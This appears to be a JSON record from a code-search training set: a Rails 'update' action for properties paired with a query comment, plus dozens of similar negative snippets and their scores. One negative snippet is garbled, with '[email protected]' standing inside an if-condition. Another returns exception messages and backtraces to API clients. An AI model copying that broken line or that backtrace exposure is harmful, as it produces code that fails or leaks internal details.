"def create\n @property = Property.new(params[:property])\n\n respond_to do |format|\n if @property.save\n format.html { redirect_to [@category, @sub_category, @item, @property], notice: 'Property was successfully created.' }\n format.json { render json: @property, status: :created, location: @property }\n else\n format.html { render action: \"new\" }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def property_params\n params.require(:property).permit(:title, :description_short, :description_long, :city, :state, :country, :latitude, :longitude, :postcode, :image, :remote_image_url, :image_cache, :remove_image, :image_url, :property_pictures_attributes => [:id, :avatar_url, :name, :_destroy, :avatar_url_cache])\n end",
"def property_params\n #params.fetch(:property, {})\n params.require(:property).permit(:address, :suburb, :landsize, :bedrooms, :bathrooms, :private_parking, :expected_price)\n end",
"def create\n @property = Property.new(params[:property])\n\n respond_to do |format|\n if @property.save\n format.html { redirect_to [:admin, @property], notice: 'Property was successfully created.' }\n format.json { render json: @property, status: :created, location: @property }\n else\n format.html { render action: \"new\" }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def property_params\n params.require(:property).permit(:city, :number, :state, :street, :zip)\n end",
"def property_params\n params.require(:property).permit(:situation, :type_property, :status, :iptu,\n :project_id, :cep, :region, :district, :group,\n :block, :number, :address, :complement, :reference_point, \n :address_link_visible, :rooms, :unit, :value, :value_m2, \n :area, :suit, :parking_spaces, :floor, :sun_position, \n :link_tour, :value_rent,:description, :commercial, :elevator, :coverage, \n :expiration_date, :name, image_path: [], construction_companies_id: [], sellers_id: [], property_attribute_id: [])\n end",
"def create\n @property = Property.new(property_params)\n @property.landlord = authenticated_user\n\n respond_to do |format|\n if @property.save\n format.html { redirect_to @property, notice: \"Property was successfully created.\" }\n format.json { render :show, status: :created, location: @property }\n else\n format.html { render :new }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @prop = Prop.new(prop_params)\n\n respond_to do |format|\n if @prop.save\n format.html { redirect_to @prop, notice: \"Prop was successfully created.\" }\n format.json { render :show, status: :created, location: @prop }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @prop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def property_params\n params.require(:property).permit(:name, :address, :size, :units, :terms_available, :earliest_start_date, :application_fee, :monthly_rent)\n end",
"def create\n @property = Property.new\n respond_to do |format|\n begin\n success = @property.update_attributes(params[:property])\n rescue Exception => e\n @exception = { :message => e.message, :backtrace => e.backtrace.inspect }\n end\n\n if success\n format.xml { render :xml => property_presenter, :status => :created }\n format.json { render :json => property_presenter, :status => :created }\n elsif @exception\n format.xml { render :xml => @exception, :status => :internal_server_error }\n format.json { render :json => @exception, :status => :internal_server_error }\n else\n format.xml { render :xml => @property.errors, :status => :unprocessable_entity }\n format.json { render :json => @property.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @property_detail = PropertyDetail.new(property_detail_params)\n\n respond_to do |format|\n if @property_detail.save\n format.html { redirect_to @property_detail.property, notice: 'Property detail was successfully created.' }\n format.json { render action: 'show', status: :created, location: @property_detail }\n else\n format.html { render action: 'new' }\n format.json { render json: @property_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def process_properties(properties); end",
"def property_params\n params.require(:property).permit(\n :value_type, :measurement_unit_id, :unit_pricing, :searchable,\n :name, :external_name\n )\n end",
"def create\n property = Property.new(property_params)\n\n if property.save\n respond_with property\n else\n head status: :expectation_failed\n return false\n end\n end",
"def property_params\n params.require(:property).permit(:id, :auctionStatus, :caseID, :caseType, :judgement, :assesed, :parcel, :address, :city, :state, :zip, :legal, :beds, :baths, :area, :lot, :year, :estimate, :rentEstimate, :zillow, :date)\n end",
"def relationship_set_props id, data\n headers = {\n 'Accept' => 'application/json; charset=UTF-8',\n 'Content-Type' => 'application/json',\n }\n\n put_request 'relationship/' + id + '/properties', data, headers\n end",
"def create\n authorize_action_for Property, at: current_store\n @property = current_store.properties.build(property_params.merge(priority: current_store.properties.count))\n\n respond_to do |format|\n if @property.save\n track @property\n format.html { redirect_to edit_admin_property_path(@property),\n notice: t('.notice', property: @property) }\n format.json { render :show, status: :created, location: admin_property_path(@property) }\n else\n format.html { render :new }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @property = Property.new(property_params)\n @property.rent_table_version = 0\n @property.lease_base_rent = @property.current_rent\n @property.user_id = current_user.id\n\n if !(@property.owner_person_is.nil? || @property.owner_person_is==0)\n if @property.owner_person_is == 1 && [email protected]_entity_id_indv.nil?\n @property.owner_entity_id = @property.owner_entity_id_indv\n end\n else\n @property.owner_entity_id = @property.owner_entity_id_indv = 0\n end\n\n respond_to do |format|\n if @property.save\n AccessResource.add_access({ user: current_user, resource: @property })\n flash[:success] = \"Congratulations, you have just created a record for #{@property.title}\"\n format.html { redirect_to edit_property_path(@property.key, type_is: 'basic_info') }\n # format.html { redirect_to properties_path }\n format.js { render json: @property.to_json, status: :ok }\n format.json { render action: 'show', status: :created, location: @property }\n else\n # flash[:error] = \"Failed to create new property.\"\n format.html { render action: 'new' }\n format.js { render action: 'new', status: :unprocessable_entity, layout: false }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n respond_to do |format|\n if @property_form.submit(params[:property])\n format.html { redirect_to properties_path, notice: 'Property was successfully created.' }\n format.json { render json: {message:'Property successfully created!', id:@property_form.property.id}, status: :created, location:properties_path }\n else\n format.html { render action: 'index' , error: 'An error prevented the property from being created.'}\n format.json { render json: @property_form.errors, status: :unprocessable_entity }\n end\n end\n end",
"def property_params\n params.require(:property).permit(:country, :province, :city, :address, :holding_type, :project_name, :project_code, :property_name, :property_code, :main_photo, :cover_photo, :city_location_photo, :description, :price, :featured, :latitude, :longitude, :facilities => [], :gallery_photos => [], :floor_plan_photos => [])\n end",
"def property_params\n params.require(:property).permit(\n :marketing_name,\n :website,\n :description,\n :contact_email,\n :contact_phone,\n :street,\n :city,\n :state,\n :zip,\n :latitude,\n :longitude,\n :pet_dog,\n :pet_cat,\n :amenities,\n { floorplan_ids: [] },\n )\n end",
"def property_params\n params.require(:property).permit(:business_name, :street_address, :city, :state, :zip, :mdu, :units, :content)\n end",
"def create\n @property_hash = {\n name: @resource[:name],\n ensure: :present,\n value: @resource[:value]\n }\n end",
"def property_params\n params.require(:property).permit(:lol3, :unit, :group, :tenantid, :resident_name, :resident_rent, :unit_rent, :discount, :status, :days_vacant, :move_out, :lease_to, :amenities, :amenities_amount, :discounts, :company_id, :unit_type_id)\n end",
"def create\n @property_hash = {\n :name => @resource[:name],\n :ensure => :present,\n :primitive => @resource[:primitive],\n :node_name => @resource[:node_name],\n :score => @resource[:score],\n :resource_discovery => @resource[:resource_discovery],\n :cib => @resource[:cib],\n :rule => @resource[:rule]\n }\n end",
"def property_params\n params.require(:property).permit(:street_address_1, :street_address_2, :city, :state_id, :postal_code)\n end",
"def create\n @property_hash = {\n name: @resource[:name],\n ensure: :present,\n first: @resource[:first],\n second: @resource[:second],\n kind: @resource[:kind],\n symmetrical: @resource[:symmetrical],\n new: true\n }\n end",
"def properties_value_params\r\n params.fetch(:properties_value, {}).permit(:value, :property_id, :is_show_website)\r\n end",
"def property_params\n params.require(:property).permit(:state_policy_id, :stop_initiating_evictions, :stop_enforcing_evictions, :grace_period_or_security_deposit_towards_rent, :froze_utility_shut_offs, :froze_mortgage_payments)\n end",
"def property_params\n params.require(:property).permit(:Code, :County, :Price, :CurrentPrice, :Shares, :Rate, :ShareValue, :locality, :LR, :Title, :Reason, :StartOffer, :EndOffer, :user_id, :Area_of_land, :brochure)\n end",
"def create\n @property = Property.new(params[:property])\n\n respond_to do |format|\n if @property.save\n format.html { redirect_to(@property, :notice => 'Property was successfully created.') }\n format.xml { render :xml => @property, :status => :created, :location => @property }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @property.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def property_params\n params.require(:property).permit(:price, :arv, :street, :city, :state, :zip_code, :nbeds, :nbath, :description, :sqft, :property_category, :number_unit, :year_built, :rental_rating, :parking, :lot_size, :zoning, :PropertyListing_id, :defaultimage, :PropertyType_id, :rehab_cost, :photo_data => [])\n end",
"def create\n @location_property = LocationProperty.new(params[:location_property])\n\n respond_to do |format|\n if @location_property.save\n format.html { redirect_to @location_property, notice: 'Location property was successfully created.' }\n format.json { render json: @location_property, status: :created, location: @location_property }\n else\n format.html { render action: \"new\" }\n format.json { render json: @location_property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def property_params\n params[:property]\n end",
"def property_params\n pp = params.require(:property).permit(:title, :info, :description, :status, :development_id, :property_type_id, :age, :environments, :garages, :bathrooms, :toilettes, :expenses, :sale_price, :sale_currency, :rent_price, :rent_currency, :area_unit, :constructed_area, :unconstructed_area, :zone_id, :address, :zip_code, :lat, :lng)\n pp[:expenses].tr!('.', '') if pp[:expenses].present?\n pp[:sale_price].tr!('.', '') if pp[:sale_price].present?\n pp[:rent_price].tr!('.', '') if pp[:rent_price].present?\n pp[:constructed_area].tr!('.', '') if pp[:constructed_area].present?\n pp[:unconstructed_area].tr!('.', '') if pp[:unconstructed_area].present?\n return pp\n end",
"def create\n @property_hash = {\n :name => @resource[:name],\n :ensure => :present,\n :primitive => @resource[:primitive],\n :node_name => @resource[:node_name],\n :node_score => @resource[:node_score],\n :rules => @resource[:rules],\n :cib => @resource[:cib],\n }\n end",
"def create\n @property_field = PropertyField.new(params[:property_field])\n\n respond_to do |format|\n if @property_field.save\n format.html { redirect_to @property_field.property, notice: 'Property field was successfully created.' }\n format.json { render json: @property_field, status: :created, location: @property_field }\n else\n format.html { render action: \"new\" }\n format.json { render json: @property_field.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @property = Property.new(params[:property])\n\n respond_to do |format|\n if @property.save\n flash[:notice] = 'Property was successfully created.'\n format.html { redirect_to admin_property_url(@property) }\n format.xml { head :created, :location => admin_property_url(@property) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @property.errors.to_xml }\n end\n end\n end",
"def create\n @property_hash = {\n name: @resource[:name],\n ensure: :present,\n primitive: @resource[:primitive],\n node_name: @resource[:node_name],\n score: @resource[:score],\n resource_discovery: @resource[:resource_discovery]\n }\n end",
"def property_params\n params.require(:property).permit(:ad_type, :property_type, :country, :sponsored, :price, :bedroom, :bathroom, :area, :description, :city, { photos: [] })\n end",
"def property_params\n params.require(:property).permit(:id,:account_id,:featured,:comision,:duenos_id,:descripcion,:tipoOp,:tipoProp, :zona, :colonia, :precio, :mConst, :mTerreno, :banos,:ac,:alarm,:lift,:balcony,:furnished,:bbq,:heating,:fireplace,:backyard,:pool,:terrace,:security,:comision, :recamaras,:cover_picture,pictures: [],ids: [])\n end",
"def create\n @property_hash = {\n name: @resource[:name],\n ensure: :present,\n primitive: @resource[:primitive],\n node_name: @resource[:node_name],\n score: @resource[:score],\n rules: @resource[:rules],\n resource_discovery: @resource[:resource_discovery]\n }\n end",
"def create\n @quick_property = QuickProperty.new(params[:quick_property])\n\n respond_to do |format|\n if @quick_property.save\n format.html { redirect_to @quick_property, notice: 'Quick property was successfully created.' }\n format.json { render json: @quick_property, status: :created, location: @quick_property }\n else\n format.html { render action: \"new\" }\n format.json { render json: @quick_property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def properties=(value)\n @properties = value\n end",
"def create\n @property = Property.new(params[:property])\n\n respond_to do |format|\n if @property.save\n users = User.all\n users.each { |u|\n options = {\n :registration_id => u.registration_id,\n :message => \"New property added to Property Market!\",\n :id => @property.id,\n :name => @property.name,\n :ptype => @property.ptype,\n :collapse_key => @property.id.to_s\n }\n puts options.inspect\n response = SpeedyC2DM::API.send_notification(options)\n puts response.inspect\n }\n \n\n \n format.html { redirect_to @property, notice: 'Property was successfully created.' }\n format.json { render json: @property, status: :created, location: @property }\n else\n format.html { render action: \"new\" }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def users_property_params\n params.require(:users_property).permit(:user_id, :property, :property_value)\n end",
"def property_params\n params.permit(:name, :is_available, :is_approved, :owner_id)\n end",
"def property_params\n params.require(:property).permit(:type_of_offer,:price, :brunk_type, :brunk, :parking_lot, :property_type, :runner_id, :country_id, :department, :city, :address, :latitude, :length, :prince, :stratum, :area, :blueprints, :number_bedrooms, :number_bathrooms, :levels, :state, :state_favorite, :url_video, :images, property_images_attributes: [:id, :property_id, :runner_id, :file, :_destroy])\n end",
"def create\n @property_user = PropertyUser.new(params[:property_user])\n\n respond_to do |format|\n if @property_user.save\n format.html { redirect_to @property_user, notice: 'Property user was successfully created.' }\n format.json { render json: @property_user, status: :created, location: @property_user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @property_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_property\n @p = Property.create(address: params[:address], state: params[:state], city: params[:city])\n redirect_to '/'\n end",
"def create\n @sys_property = Sys::Property.new(sys_property_params)\n\n respond_to do |format|\n if @sys_property.save\n format.html { redirect_to @sys_property, notice: 'Property was successfully created.' }\n format.json { render action: 'show', status: :created, location: @sys_property }\n else\n format.html { render action: 'new' }\n format.json { render json: @sys_property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def property_params\n params.require(:property).permit(:title, :short_desc, :price, :property_for, :landmark, :facing,\n :location, :property_in, :total_no_of_floors, :bed_rooms,\n :total_rooms, :bathrooms, :parking, :flooring, :furnishing,\n :open_for_inspection, :address, :city, :district, :zipcode,\n :available_from, :photo, :contact_hours, :long_desc, :property_type, \n :rent, :saleable_area, :gross_area, :vacant_or_possession, :landlord_name, \n :hkid_no, :furniture_and_fittings, :electronic_appliences, :no_of_keys,\n :other_assets, :terms_and_conditions_of_sale, :accept_short_lease, :accept_shared_rent,\n :require_income_proof, :deposite, :tenancy_terms, :fixed_period, :break_clause_notice,\n :availablity_date, :rent_inclusive_of_management_fee, :rent_inclusive_of_gov_rent,\n :meter_reading, :rent, :property_type, :available_for_rent, :available_for_sale,\n :balcony, :rooftop, :clubhouse, :swiming_pool, :gym_room, :shuttle_bus, :sea_view,\n :building_name, :flat, :street, :year_build, :private_garden, :pet_allowed, :expiration_date,\n :parking_garage, :private_parking_space, property_images_attributes: [:id, :photo, :_destroy]\n )\n end",
"def property_detail_params\n params.require(:property_detail).permit(:property_id, :name, :source_type, :source_contact, :status, :date_of_contact, :requirements, :comments)\n end",
"def api_v1_property_params\n params.require(:api_v1_property).permit(:title, :description)\n end",
"def api_v1_property_params\n params.require(:api_v1_property).permit(:title, :description)\n end",
"def create\n @propuestum = Propuestum.new(propuestum_params)\n\n respond_to do |format|\n if @propuestum.save\n format.html { redirect_to @propuestum, notice: 'Propuestum was successfully created.' }\n format.json { render :show, status: :created, location: @propuestum }\n else\n format.html { render :new }\n format.json { render json: @propuestum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_property( propname, value )\n params = { 'prop' => propname, 'value' => value }\n resp = conn.post( '/users/'+name+'/props/', params )\n \n case resp.code.to_i\n when 201\n return\n when 404\n raise RestAuthUserNotFound.new( resp )\n when 409\n raise RestAuthPropertyExists.new( resp )\n else\n raise RestAuthUnknownStatus.new( resp )\n end\n end",
"def create\n @property = Property.new(property_params)\n\n respond_to do |format|\n if @property.save\n format.html { redirect_to user_path(@property.user_id) }\n else\n format.html { render :new }\n end\n end\n end",
"def create\n @auth_property = AuthProperty.new(auth_property_params)\n @token.authProperties << @auth_property\n\n respond_to do |format|\n if @auth_property.save\n format.html { redirect_to [@owner, @token, @auth_property], notice: 'Auth property was successfully created.' }\n format.json { render :show, status: :created, location: @auth_property }\n else\n format.html { render :new }\n format.json { render json: @auth_property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @chef_property = ChefProperty.new(chef_property_params)\n\n respond_to do |format|\n if @chef_property.save\n format.html { redirect_to @chef_property, notice: 'Chef property was successfully created.' }\n format.json { render :show, status: :created, location: @chef_property }\n else\n format.html { render :new }\n format.json { render json: @chef_property.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.72530675",
"0.7060616",
"0.7046808",
"0.70337754",
"0.70122105",
"0.6942112",
"0.69248956",
"0.6900617",
"0.6889012",
"0.68744063",
"0.68609405",
"0.68319124",
"0.68319124",
"0.68319124",
"0.68319124",
"0.68319124",
"0.68319124",
"0.68319124",
"0.68010026",
"0.6796665",
"0.6793455",
"0.6793455",
"0.677231",
"0.67659837",
"0.67659837",
"0.6743496",
"0.6733912",
"0.67336047",
"0.6702965",
"0.66998136",
"0.6693349",
"0.66925156",
"0.66532004",
"0.66452754",
"0.6644306",
"0.66285706",
"0.6606544",
"0.6596722",
"0.659003",
"0.658206",
"0.6581914",
"0.6573072",
"0.65718466",
"0.65466243",
"0.65317965",
"0.6526471",
"0.65028274",
"0.650151",
"0.6484257",
"0.6472376",
"0.64708364",
"0.6470093",
"0.64482844",
"0.64357215",
"0.64313424",
"0.6429914",
"0.64139163",
"0.63902",
"0.63870436",
"0.6383379",
"0.6372521",
"0.63663864",
"0.63651776",
"0.6345624",
"0.6344343",
"0.6333776",
"0.63205224",
"0.6299756",
"0.62949824",
"0.6292775",
"0.6288102",
"0.62864095",
"0.62844133",
"0.62807554",
"0.6278768",
"0.6273168",
"0.62725365",
"0.6258321",
"0.6254108",
"0.625305",
"0.6250984",
"0.6249847",
"0.6245157",
"0.6244978",
"0.62447613",
"0.6242397",
"0.623635",
"0.62301904",
"0.6221233",
"0.62200075",
"0.621912",
"0.62002563",
"0.61966705",
"0.6195822",
"0.6170944",
"0.6170944",
"0.61598384",
"0.6157694",
"0.61314726",
"0.612476",
"0.6123773"
] | 0.0 | -1 |
PATCH/PUT /properties/1 PATCH/PUT /properties/1.json | def update
respond_to do |format|
if @property.update(property_params)
format.html { redirect_to @property, notice: 'Property was successfully updated.' }
format.json { render :show, status: :ok, location: @property }
else
format.html { render :edit }
format.json { render json: @property.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update_properties(path, properties)\n prop_patch = PropPatch.new(properties)\n emit('propPatch', [path, prop_patch])\n prop_patch.commit\n\n prop_patch.result\n end",
"def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"def update\n @property = Property.find(params[:id])\n\n if @property.update(property_params)\n head :no_content\n else\n render json: @property.errors, status: :unprocessable_entity\n end\n end",
"def update\n @property = Property.find(params[:id])\n\n if @property.update(params[:property])\n head :no_content\n else\n render json: @property.errors, status: :unprocessable_entity\n end\n end",
"def update\n p = recipe_params\n @recipe.properties = RecipeProperties.new(p.delete(:properties))\n respond_to do |format|\n if @recipe.update(p)\n format.html { redirect_to @recipe, notice: 'Recipe was successfully updated.' }\n format.json { render :show, status: :ok, location: @recipe }\n else\n format.html { render :edit }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n new_properties = params[:d]\n profile = Profile[params[:id]]\n profile.update_with(new_properties)\n\n respond_with(profile) do |format|\n format.json { render json: profile.stripped }\n end\n end",
"def update\n respond_to do |format|\n if @property.update_attributes(params[:property])\n format.html { redirect_to @property, notice: 'Property was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @property.update(property_params)\n format.html { redirect_to @property, notice: 'Property was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @property.update(property_params)\n format.html { redirect_to @property, notice: 'Property was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n puts 'kkkkkkkkkkkkkkkkkkkkk'\n puts property_params\n\n respond_to do |format|\n if @property.update(property_params)\n format.html { redirect_to @property, notice: \"Property was successfully updated.\" }\n format.json { render :show, status: :ok, location: @property }\n else\n format.html { render :edit }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @property.update(property_params)\n # Remove all features by property objects\n @property.features_properties.delete_all\n\n # Get features parameter\n features = params[:features]\n\n # Verify whether features array comes in the parameters list\n if features.present?\n # Intantiate & create features by property\n features_property_create = FeaturesPropertyCreate.new(@property)\n features_property_create.create(features, params[:quantities])\n end\n\n # Remove all photos by property objects\n #@property.photos.delete_all\n\n # Get photos parameter\n photos = params[:photos]\n\n # Verify whether photos array comes in the parameters list\n if photos.present?\n # Intantiate & create photos by property\n photo_create = PhotoCreate.new(@property)\n photo_create.create(photos)\n end\n\n format.html { redirect_to @property, notice: 'Property was successfully updated.' }\n format.json { render :show, status: :ok, location: @property }\n else\n format.html { render :edit }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @request_property.update(request_property_params)\n format.html { redirect_to @request_property, notice: 'Request property was successfully updated.' }\n format.json { render :show, status: :ok, location: @request_property }\n else\n format.html { render :edit }\n format.json { render json: @request_property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def http_prop_patch(request, response)\n path = request.path\n\n begin\n prop_patch = @server.xml.expect('{DAV:}propertyupdate', request.body)\n rescue Tilia::Xml::ParseException => e\n raise Exception::BadRequest, e.message, nil, e\n end\n\n new_properties = prop_patch.properties\n\n result = @server.update_properties(path, new_properties)\n\n prefer = @server.http_prefer\n response.update_header('Vary', 'Brief,Prefer')\n\n if prefer['return'] == 'minimal'\n # If return-minimal is specified, we only have to check if the\n # request was succesful, and don't need to return the\n # multi-status.\n ok = true\n result.each do |_prop, code|\n ok = false if code.to_i > 299\n end\n\n if ok\n response.status = 204\n return false\n end\n end\n\n response.status = 207\n response.update_header('Content-Type', 'application/xml; charset=utf-8')\n\n # Reorganizing the result for generateMultiStatus\n multi_status = {}\n result.each do |property_name, code|\n if multi_status.key?(code)\n multi_status[code][property_name] = nil\n else\n multi_status[code] = { property_name => nil }\n end\n end\n multi_status['href'] = path\n\n response.body = @server.generate_multi_status([multi_status])\n\n # Sending back false will interupt the event chain and tell the server\n # we've handled this method.\n false\n end",
"def update\n #@property = Property.find(params[:id])\n\n respond_to do |format|\n if @property.update_attributes(property_params)\n format.html { redirect_to @property, notice: 'Property was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @api_v1_property.update(api_v1_property_params)\n render :show, status: :ok, location: @api_v1_property\n else\n render json: @api_v1_property.errors, status: :unprocessable_entity\n end\n end",
"def update\n @property = Property.find(params[:id])\n\n respond_to do |format|\n if @property.update_attributes(params[:property])\n format.html { redirect_to @property, notice: 'Property was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @property = Property.find(params[:id])\n\n respond_to do |format|\n if @property.update_attributes(params[:property])\n format.html { redirect_to @property, notice: 'Property was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @property = Property.find(params[:id])\n\n respond_to do |format|\n if @property.update_attributes(params[:property])\n format.html { redirect_to @property, notice: 'Property was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @prop.update(prop_params)\n format.html { redirect_to @prop, notice: \"Prop was successfully updated.\" }\n format.json { render :show, status: :ok, location: @prop }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @prop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @property = Property.find(params[:id])\n\n respond_to do |format|\n if @property.update_attributes(params[:property])\n format.html { redirect_to @property, notice: 'Property was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @property = Property.find(params[:id])\n\n respond_to do |format|\n if @property.update_attributes(params[:property])\n format.html { redirect_to @property, notice: 'Property was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if !check_permissions?(session[:user_type], \"edit_property\")\n redirect_to root_path\n end\n puts \"The params in update are\",params\n respond_to do |format|\n if @property.update(property_params)\n add_property_feature(@property)\n format.html { redirect_to @property, notice: \"Property was successfully updated.\" }\n format.json { render :show, status: :ok, location: @property }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def update\n respond_to do |format|\n if @property.update(property_params)\n format.html { redirect_to @property, notice: \"Property was successfully updated.\" }\n format.json { render :show, status: :ok, location: @property }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @property_form.update_attributes(params[:property])\n format.html { redirect_to @property, notice: 'Property was successfully updated.' }\n format.json { render json: {message:'Property successfully updated!', id:@property.id}, status: :accepted }\n else\n format.html { render action: 'edit' }\n format.json { render json: @property_form.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @property = Property.find(params[:id].to_i) rescue nil\n respond_to do |format|\n if @property\n begin\n success = @property.update_attributes(params[:property])\n rescue Exception => e\n @exception = { :message => e.message, :backtrace => e.backtrace.inspect }\n end\n\n if success\n format.xml { render :xml => property_presenter, :status => :accepted }\n format.json { render :json => property_presenter, :status => :accepted }\n elsif @exception\n format.xml { render :xml => @exception, :status => :internal_server_error }\n format.json { render :json => @exception, :status => :internal_server_error }\n else\n format.xml { render :xml => @property.errors, :status => :unprocessable_entity }\n format.json { render :json => @property.errors, :status => :unprocessable_entity }\n end\n else\n format.xml { head :not_found }\n format.json { head :not_found }\n end\n end\n end",
"def update\n @property = Property.find(params[:id])\n\n respond_to do |format|\n if @property.update_attributes(params[:property])\n format.html { redirect_to [@category, @sub_category, @item, @property], notice: 'Property was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @property_detail.update(property_detail_params)\n format.html { redirect_to @property_detail, notice: 'Property detail was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @property_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @id = args[:id] if args.key?(:id)\n @property_value = args[:property_value] if args.key?(:property_value)\n end",
"def relationship_set_props id, data\n headers = {\n 'Accept' => 'application/json; charset=UTF-8',\n 'Content-Type' => 'application/json',\n }\n\n put_request 'relationship/' + id + '/properties', data, headers\n end",
"def update\n respond_to do |format|\n if @property.update(property_params)\n format.html { redirect_to after_save_path, notice: 'Property was successfully updated.' }\n format.json { render :show, status: :ok, location: @property }\n else\n format.html { render :edit }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @property = Property.find(params[:id])\n\n respond_to do |format|\n if @property.update_attributes(params[:property])\n format.html { redirect_to(@property, :notice => 'Property was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @property.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @client_id = args[:client_id] if args.key?(:client_id)\n @kind = args[:kind] if args.key?(:kind)\n @web_property_id = args[:web_property_id] if args.key?(:web_property_id)\n end",
"def update\n @prop = Prop.find(params[:id])\n\n respond_to do |format|\n if @prop.update_attributes(params[:prop])\n format.html { redirect_to(@prop, :notice => 'Prop was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @prop.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n property=Property.find(params[:id]) \n if property.update(params[:property].permit(:property_name,:property_desc,:property_price,:property_address))\n render json: {errors:property.errors.full_messages}\n else\n render 'edit'\n end\n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update\n #@property = Property.find(params[:id])\n\n respond_to do |format|\n if @property.update_attributes(params[:property])\n flash[:notice] = 'Property was successfully updated.'\n format.html { redirect_to(@property) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @property.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @property.update(property_params)\n format.html { redirect_to @property, notice: \"物件情報を更新しました\" }\n format.json { render :show, status: :ok, location: @property }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @quick_property = QuickProperty.find(params[:id])\n\n respond_to do |format|\n if @quick_property.update_attributes(params[:quick_property])\n format.html { redirect_to @quick_property, notice: 'Quick property was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @quick_property.errors, status: :unprocessable_entity }\n end\n end\n end",
